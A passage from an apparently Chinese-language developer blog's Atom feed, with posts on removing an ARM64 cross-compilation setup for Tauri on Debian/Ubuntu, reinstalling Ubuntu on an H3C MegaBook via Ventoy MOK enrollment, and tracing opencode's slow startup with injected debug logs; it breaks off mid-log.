&lt;li&gt;&lt;strong&gt;缺库报错用 &lt;code&gt;ldd &amp;lt;binary&amp;gt; | grep &quot;not found&quot;&lt;&#x2F;code&gt; 一次性查全&lt;&#x2F;strong&gt;，不要补完一个再试一次&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;apt 装了依赖&quot;没生效&quot;时，先查 deb 元数据&lt;&#x2F;strong&gt;：&lt;code&gt;dpkg-deb -f xxx.deb Depends&lt;&#x2F;code&gt;，确认是打包疏漏还是安装方式问题。微信 deb 的 &lt;code&gt;Depends&lt;&#x2F;code&gt; 只声明了字体，4 个 libxcb 运行库全部缺失，这是腾讯打包的锅，不是 apt 的错&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>清理 Linux 多架构环境：彻底卸载 ARM64 并恢复本地编译环境</title>
        <published>2026-07-29T10:00:00+08:00</published>
        <updated>2026-08-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/清理linux多架构环境/"/>
        <id>https://vercel.juzhong.asia/2026/07/清理linux多架构环境/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/清理linux多架构环境/">&lt;h1 id=&quot;qing-li-linux-duo-jia-gou-huan-jing&quot;&gt;清理 Linux 多架构环境&lt;&#x2F;h1&gt;
&lt;p&gt;在完成 Tauri 2.0+ 项目的 ARM64 交叉编译后，本地系统会残留大量 arm64 开发库和配置。如果不再需要跨架构编译，建议彻底清理 Multi-arch 环境，避免污染本地 x86_64 编译工具链。&lt;&#x2F;p&gt;
&lt;p&gt;本文先回顾多架构编译环境的搭建过程（清理步骤正是搭建的逆过程），再按以下顺序逐步清理：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;卸载所有目标架构的开发包&lt;&#x2F;li&gt;
&lt;li&gt;移除系统架构支持&lt;&#x2F;li&gt;
&lt;li&gt;清理 Rust 目标和链接器配置&lt;&#x2F;li&gt;
&lt;li&gt;恢复环境变量&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;hui-gu-da-jian-arm64-jiao-cha-bian-yi-huan-jing&quot;&gt;回顾：搭建 ARM64 交叉编译环境&lt;&#x2F;h2&gt;
&lt;p&gt;先弄清楚环境是怎么搭起来的，清理时才不会漏项。搭建过程共 7 步：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-tian-jia-arm64-jia-gou-zhi-chi&quot;&gt;1. 添加 arm64 架构支持&lt;&#x2F;h3&gt;
&lt;p&gt;Multi-arch 是 Debian&#x2F;Ubuntu 的机制，允许一个系统同时安装多个 CPU 架构的软件包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 添加 arm64 架构，使 apt 可以安装 :arm64 的包
sudo dpkg --add-architecture arm64

# 刷新软件源索引
sudo apt update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-an-zhuang-jiao-cha-bian-yi-gong-ju-lian&quot;&gt;2. 安装交叉编译工具链&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# aarch64 交叉编译工具链（gcc、as、ld 等）
sudo apt install gcc-aarch64-linux-gnu

# pkg-config 在交叉编译时也需要，用于解析目标架构的 .pc 文件
sudo apt install pkg-config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-an-zhuang-tauri-yi-lai-de-arm64-kai-fa-ku&quot;&gt;3. 安装 Tauri 依赖的 arm64 开发库&lt;&#x2F;h3&gt;
&lt;p&gt;Tauri 的 Linux 构建依赖 webkit2gtk、GTK3、librsvg 等开发库，交叉编译时需要安装对应的 &lt;code&gt;:arm64&lt;&#x2F;code&gt; 版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install libwebkit2gtk-4.1-dev:arm64 libgtk-3-dev:arm64 librsvg2-dev:arm64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果应用使用了系统托盘（Tauri 的 tray-icon 功能），还需要：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install libayatana-appindicator3-dev:arm64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-tian-jia-rust-mu-biao&quot;&gt;4. 添加 Rust 目标&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rustup target add aarch64-unknown-linux-gnu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-pei-zhi-xiang-mu-lian-jie-qi&quot;&gt;5. 配置项目链接器&lt;&#x2F;h3&gt;
&lt;p&gt;在 Tauri 项目根目录创建 &lt;code&gt;.cargo&#x2F;config.toml&lt;&#x2F;code&gt;，指定交叉编译时使用的链接器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[target.aarch64-unknown-linux-gnu]
linker = &amp;quot;aarch64-linux-gnu-gcc&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-she-zhi-pkg-config-huan-jing-bian-liang&quot;&gt;6. 设置 pkg-config 环境变量&lt;&#x2F;h3&gt;
&lt;p&gt;交叉编译时，pkg-config 默认只搜索 x86_64 的 &lt;code&gt;.pc&lt;&#x2F;code&gt; 文件，需要手动指定 arm64 的搜索路径：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 仅搜索 arm64 的 pkg-config 文件
export PKG_CONFIG_LIBDIR=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;aarch64-linux-gnu&amp;#x2F;pkgconfig

# 允许 pkg-config 在交叉编译场景下工作
export PKG_CONFIG_ALLOW_CROSS=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：设置后 pkg-config 将不再搜索本机 x86_64 路径，会影响本地原生编译。这两个变量是会话级的，关闭终端即失效，编译完成记得 &lt;code&gt;unset&lt;&#x2F;code&gt;（见步骤 4）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;7-bian-yi-yan-zheng&quot;&gt;7. 编译验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cargo build --release --target aarch64-unknown-linux-gnu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译产物位于 &lt;code&gt;target&#x2F;aarch64-unknown-linux-gnu&#x2F;release&#x2F;&lt;&#x2F;code&gt;，可直接打包发布。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;qing-li-bu-zou&quot;&gt;清理步骤&lt;&#x2F;h2&gt;
&lt;p&gt;在移除架构前，必须先删掉通过该架构安装的所有软件包。使用 &lt;code&gt;apt purge&lt;&#x2F;code&gt; 配合正则表达式匹配所有带 &lt;code&gt;:arm64&lt;&#x2F;code&gt; 后缀的包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 自动卸载并清除 arm64 的开发库及相关依赖
# --allow-remove-essential：arm64 变体的基础包（如 libc6:arm64、libgcc-s1:arm64）标记为 essential，
# 不加该参数 apt 会报错 &amp;quot;关键软件包被移除&amp;quot; 并中止
sudo apt purge -y --allow-remove-essential &amp;#x27;.*:arm64&amp;#x27;

# 清理可能残留的孤立依赖包
sudo apt autoremove -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：&lt;code&gt;.*:arm64&lt;&#x2F;code&gt; 会匹配所有架构限定为 arm64 的包。如果你同时添加了其他架构（如 armhf），也需要一并清理。&lt;&#x2F;p&gt;
&lt;p&gt;不加 &lt;code&gt;--allow-remove-essential&lt;&#x2F;code&gt; 时，apt 会因 &lt;code&gt;libc6:arm64&lt;&#x2F;code&gt;、&lt;code&gt;libgcc-s1:arm64&lt;&#x2F;code&gt; 等 essential 标记包报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;E: 关键软件包被移除同时使用了 -y 选项，但是没有搭配 --allow-remove-essential。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些只是 arm64 架构变体，本机 x86_64 的 &lt;code&gt;libc6:amd64&lt;&#x2F;code&gt; 不受影响，可以放心添加该参数强制移除。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;bu-zou-2-yi-chu-xi-tong-jia-gou-zhi-chi&quot;&gt;步骤 2：移除系统架构支持&lt;&#x2F;h2&gt;
&lt;p&gt;当所有 arm64 的软件包被清空后，即可将该架构从系统的多架构列表中移除：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 移除 arm64 架构支持
sudo dpkg --remove-architecture arm64

# 更新软件源索引
sudo apt update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果运行 &lt;code&gt;dpkg --remove-architecture&lt;&#x2F;code&gt; 报错，说明还有带有 &lt;code&gt;:arm64&lt;&#x2F;code&gt; 的软件包未卸载干净。可以使用以下命令查看残留包：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dpkg -l | grep arm64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;找到残留的包后，使用 &lt;code&gt;apt purge&lt;&#x2F;code&gt; 手动删除，再重新执行 &lt;code&gt;dpkg --remove-architecture&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bu-zou-3-qing-li-rust-mu-biao-he-lian-jie-qi-pei-zhi&quot;&gt;步骤 3：清理 Rust 目标和链接器配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;yi-chu-rust-mu-biao&quot;&gt;移除 Rust 目标&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rustup target remove aarch64-unknown-linux-gnu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qing-li-xiang-mu-lian-jie-qi-pei-zhi&quot;&gt;清理项目链接器配置&lt;&#x2F;h3&gt;
&lt;p&gt;删除或注释掉之前在 Tauri 项目根目录 &lt;code&gt;.cargo&#x2F;config.toml&lt;&#x2F;code&gt; 中添加的链接器配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;# 删除或注释以下内容：
# [target.aarch64-unknown-linux-gnu]
# linker = &amp;quot;aarch64-linux-gnu-gcc&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果 &lt;code&gt;.cargo&#x2F;config.toml&lt;&#x2F;code&gt; 中没有其他内容，可以直接删除该文件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bu-zou-4-hui-fu-huan-jing-bian-liang&quot;&gt;步骤 4：恢复环境变量&lt;&#x2F;h2&gt;
&lt;p&gt;由于之前通过 &lt;code&gt;export&lt;&#x2F;code&gt; 临时设置的环境变量在关闭终端窗口后会自动失效，如果想在当前终端立即恢复本地原生编译环境，直接运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 恢复默认的 pkg-config 路径
unset PKG_CONFIG_LIBDIR

# 关闭跨架构允许开关
unset PKG_CONFIG_ALLOW_CROSS
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yan-zheng-qing-li-jie-guo&quot;&gt;验证清理结果&lt;&#x2F;h2&gt;
&lt;p&gt;清理完成后，可以通过以下命令验证系统是否已恢复纯净的 x86_64 环境：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查是否还有 arm64 架构
dpkg --print-foreign-architectures
# 预期输出为空（无额外架构）

# 检查 pkg-config 是否只搜索 x86_64
pkg-config --variable=pc_path pkg-config
# 预期路径中不包含 &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;aarch64-linux-gnu

# 检查 Rust 目标列表
rustup target list --installed
# 预期只包含 x86_64-unknown-linux-gnu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ti-dai-fang-an-docker-rong-qi-ge-chi-bian-yi&quot;&gt;替代方案：Docker 容器隔离编译&lt;&#x2F;h2&gt;
&lt;p&gt;如果未来还需要为其他设备打包，但又不想污染本地系统，可以考虑使用 Docker 容器进行沙盒化编译。常见方案：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;cross-rs&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;基于 Docker 的 Rust 交叉编译工具，自动处理工具链和依赖&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;docker buildx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Docker 原生多架构构建支持&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;podman&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无守护进程的容器运行时，支持 rootless 模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这种方式的优势在于：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译环境完全隔离，不影响宿主机&lt;&#x2F;li&gt;
&lt;li&gt;可重复构建，环境一致性有保障&lt;&#x2F;li&gt;
&lt;li&gt;清理简单，删除容器镜像即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>H3C MegaBook 重装 Ubuntu 指南</title>
        <published>2026-07-28T12:00:00+08:00</published>
        <updated>2026-07-28T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/h3c-megabook-ubuntu-reinstall/"/>
        <id>https://vercel.juzhong.asia/2026/07/h3c-megabook-ubuntu-reinstall/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/h3c-megabook-ubuntu-reinstall/">&lt;p&gt;H3C MegaBook 出场预装 Windows，重装 Ubuntu 时遇到了两个典型的坑：&lt;strong&gt;无法进入 BIOS&lt;&#x2F;strong&gt; 和 &lt;strong&gt;Ventoy 安全启动验证失败&lt;&#x2F;strong&gt;。本文记录实测可行的解决方案。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-yi-an-f12-f2-delete-du-wu-fa-jin-ru-bios&quot;&gt;问题一：按 F12 &#x2F; F2 &#x2F; Delete 都无法进入 BIOS&lt;&#x2F;h2&gt;
&lt;p&gt;Windows 的快速启动导致键盘在开机阶段不被检测。以下方法 &lt;strong&gt;100% 成功&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在 Windows 系统中，打开 &lt;strong&gt;设置 → 系统 → 恢复&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;找到 &lt;strong&gt;高级启动&lt;&#x2F;strong&gt;，点击右侧的 &lt;strong&gt;立即重新启动&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;系统重启后进入蓝色菜单，依次选择：&lt;strong&gt;疑难解答 → 高级选项 → UEFI 固件设置&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;点击 &lt;strong&gt;重启&lt;&#x2F;strong&gt;，电脑自动进入 BIOS。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;进入 BIOS 后，建议关闭 &lt;strong&gt;Secure Boot&lt;&#x2F;strong&gt;（在 Security 选项卡下），方便后续操作。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-er-ventoy-qi-dong-bao-cuo-verification-failed-0x1a-security-violation&quot;&gt;问题二：Ventoy 启动报错 &lt;code&gt;Verification failed: (0x1A) Security Violation&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;UEFI 安全启动不信任 Ventoy 的引导文件。可以用 Ventoy 自带的 MOK 证书注册解决，无需再次进入 BIOS：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;看到报错界面后，按 &lt;strong&gt;Enter&lt;&#x2F;strong&gt; 键。&lt;&#x2F;li&gt;
&lt;li&gt;进入蓝黑色的 Shim UEFI Key Management（MOK 管理）界面。&lt;&#x2F;li&gt;
&lt;li&gt;用方向键选择 &lt;strong&gt;Enroll key from disk&lt;&#x2F;strong&gt;，回车。&lt;&#x2F;li&gt;
&lt;li&gt;选择 &lt;strong&gt;VTOYEFI&lt;&#x2F;strong&gt; 分区，回车。&lt;&#x2F;li&gt;
&lt;li&gt;选择 &lt;strong&gt;ENROLL_THIS_KEY_IN_MOK_MANAGER.CER&lt;&#x2F;strong&gt;，回车。&lt;&#x2F;li&gt;
&lt;li&gt;看到 &lt;strong&gt;Continue&lt;&#x2F;strong&gt; 提示，回车。&lt;&#x2F;li&gt;
&lt;li&gt;询问是否注册，选择 &lt;strong&gt;Yes&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;回到主菜单，选择 &lt;strong&gt;Reboot&lt;&#x2F;strong&gt; 重启。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;重启后再次从 U 盘启动，Ventoy 选单正常显示，即可开始安装 Ubuntu。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-zhuang-yu-qu-dong-jian-yi&quot;&gt;安装与驱动建议&lt;&#x2F;h2&gt;
&lt;p&gt;H3C MegaBook 使用 Intel Core Ultra (Lunar Lake) 处理器，建议选择内核较新的 Ubuntu 版本（如 24.04 LTS 或更新版本），以获得更好的触控板、音频和电源管理支持。&lt;&#x2F;p&gt;
&lt;p&gt;安装完成后，打开 &lt;strong&gt;附加驱动（Additional Drivers）&lt;&#x2F;strong&gt; 检查显卡、无线网卡等是否需要闭源驱动。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 启动耗时验证：注入 [TRACE] 日志实测完整链路</title>
        <published>2026-07-22T23:00:00+08:00</published>
        <updated>2026-07-22T23:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/opencode-startup-trace-verification/"/>
        <id>https://vercel.juzhong.asia/2026/07/opencode-startup-trace-verification/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/opencode-startup-trace-verification/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;前两篇文章分别从排查和源码分析两个角度，定位了 opencode 设置 &lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 后启动变慢的根因。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-plugin-slow-startup&#x2F;&quot;&gt;排查篇&lt;&#x2F;a&gt;：通过 &lt;code&gt;strace&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&#x2F;proc&#x2F;fd&lt;&#x2F;code&gt; 发现 plugin 系统在后台下载 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 的完整依赖树（63MB&#x2F;27 个包）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-npm-install-source-analysis&#x2F;&quot;&gt;分析篇&lt;&#x2F;a&gt;：理清了 &lt;code&gt;ConfigPaths.directories()&lt;&#x2F;code&gt; → &lt;code&gt;npmSvc.install()&lt;&#x2F;code&gt; → &lt;code&gt;waitForDependencies()&lt;&#x2F;code&gt; → &lt;code&gt;Fiber.join&lt;&#x2F;code&gt; 的调用链&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但这些分析是&lt;strong&gt;推理&lt;&#x2F;strong&gt;出来的——代码里每一步怎么写我们知道，但实际跑起来每一步要花多少时间？本文在源码中注入调试日志，编译正式版二进制，docker 模拟容器冷启动，把推理变成实测数据。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ri-zhi-zhu-ru&quot;&gt;日志注入&lt;&#x2F;h1&gt;
&lt;p&gt;在三个关键文件中，用统一的 &lt;code&gt;[TRACE]&lt;&#x2F;code&gt; 前缀添加 &lt;code&gt;Effect.logDebug()&lt;&#x2F;code&gt; 调用。只加日志，不改逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;npm.ts&lt;&#x2F;code&gt; — Npm.install 三步逻辑：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;① node_modules 不存在 → reify() 〔直接下载〕
② 存在 → 读 package.json + package-lock.json
③ 脏检：声明的包 vs 锁定的包 → 缺了就 reify，都满足就跳过
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;const install = Effect.fn(&amp;quot;Npm.install&amp;quot;)(function* (dir, input) {
  yield* Effect.logDebug(`[TRACE] Npm.install dir=${dir} add=[${addPkgs}]`)
  &amp;#x2F;&amp;#x2F; ...
  yield* Effect.logDebug(`[TRACE] Npm.install reify dir=${dir} reason=no-node_modules`)
  &amp;#x2F;&amp;#x2F; ...
  yield* Effect.logDebug(`[TRACE] Npm.install dirty-check dir=${dir} declared=[...] locked=[...]`)
  yield* Effect.logDebug(`[TRACE] Npm.install done dir=${dir} reason=deps-satisfied`)
})

const reify = (input) =&amp;gt; {
  let tReify = 0                            &amp;#x2F;&amp;#x2F; ← 必须在 generator 外部声明
  return Effect.gen(function* () {
    tReify = Date.now()
    yield* Effect.logDebug(`[TRACE] reify start dir=${input.dir} add=[...]`)
    &amp;#x2F;&amp;#x2F; ... arborist.reify() ...
  }).pipe(
    Effect.tap(() =&amp;gt; Effect.logDebug(`[TRACE] reify done dir=${input.dir} time=${Date.now() - tReify}ms`))
  )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;let tReify&lt;&#x2F;code&gt; 必须在 &lt;code&gt;Effect.gen&lt;&#x2F;code&gt; 闭包&lt;strong&gt;外面&lt;&#x2F;strong&gt;声明，否则 &lt;code&gt;.pipe(Effect.tap(...))&lt;&#x2F;code&gt; 中的箭头函数无法通过闭包访问到它——第一次测试吃了这个亏，&lt;code&gt;ReferenceError: tReify is not defined&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;config&#x2F;config.ts&lt;&#x2F;code&gt; — 目录遍历和 ConfigPlugin.load：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;yield* Effect.logDebug(`[TRACE] directories count=${directories.length} items=[...]`)
yield* Effect.logDebug(`[TRACE] npmSvc.install start dir=${dir}`)
yield* Effect.logDebug(`[TRACE] ConfigPlugin.load dir=${dir} found=${list?.length ?? 0}`)
yield* Effect.logDebug(`[TRACE] dir done dir=${dir} time=${Date.now() - tDir}ms`)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;plugin&#x2F;index.ts&lt;&#x2F;code&gt; — 阻塞点：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;if (plugins.length) {
  yield* Effect.logDebug(`[TRACE] waitForDeps start plugins=${plugins.length}`)
  yield* config.waitForDependencies()
  yield* Effect.logDebug(`[TRACE] waitForDeps done time=${Date.now() - tWait}ms`)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ce-shi-huan-jing&quot;&gt;测试环境&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编译正式版（npm registry 有对应的 @opencode-ai&amp;#x2F;plugin@1.17.12）
OPENCODE_VERSION=1.17.12 OPENCODE_CHANNEL=latest \
  bun run --cwd packages&amp;#x2F;opencode build --single

# docker 模拟容器冷启动，每次 &amp;#x2F;root 都是空的
docker run --rm \
  -v &amp;#x2F;tmp&amp;#x2F;agent-config&amp;#x2F;:&amp;#x2F;agent-config&amp;#x2F; \
  -v &amp;#x2F;tmp&amp;#x2F;agent-log&amp;#x2F;:&amp;#x2F;root&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;log&amp;#x2F; \
  debug-image \
  env OPENCODE_CONFIG_DIR=&amp;quot;&amp;#x2F;agent-config&amp;quot; &amp;quot;&amp;#x2F;agent-config&amp;#x2F;opencode&amp;quot; &amp;quot;--log-level=DEBUG&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;容器内的情况：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;root&#x2F;.config&#x2F;opencode&#x2F;&lt;&#x2F;code&gt;——&lt;strong&gt;空目录&lt;&#x2F;strong&gt;，无 &lt;code&gt;package.json&lt;&#x2F;code&gt;，无 &lt;code&gt;node_modules&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;agent-config&#x2F;&lt;&#x2F;code&gt;——有 &lt;code&gt;package.json&lt;&#x2F;code&gt; + &lt;code&gt;package-lock.json&lt;&#x2F;code&gt; + &lt;code&gt;node_modules&lt;&#x2F;code&gt; + &lt;code&gt;plugins&#x2F;wfuzz-agent.ts&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过 &lt;code&gt;grep &#x27;\[TRACE\]&#x27; &#x2F;root&#x2F;.local&#x2F;share&#x2F;opencode&#x2F;log&#x2F;opencode.log&lt;&#x2F;code&gt; 过滤。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;dev-ban-ben-shi-ce-0-0-0-dev&quot;&gt;dev 版本实测（&lt;code&gt;0.0.0-dev-*&lt;&#x2F;code&gt;）&lt;&#x2F;h1&gt;
&lt;p&gt;npm registry 上不存在 &lt;code&gt;@opencode-ai&#x2F;plugin@0.0.0-dev-*&lt;&#x2F;code&gt;，下载必然失败。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;02:23:18.532  [TRACE] directories count=2 items=[&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode | &amp;#x2F;agent-config]
02:23:18.533  [TRACE] npmSvc.install start dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode
02:23:18.535  [TRACE] Npm.install dir=&amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode add=[@opencode-ai&amp;#x2F;plugin@0.0.0-dev-xxx]
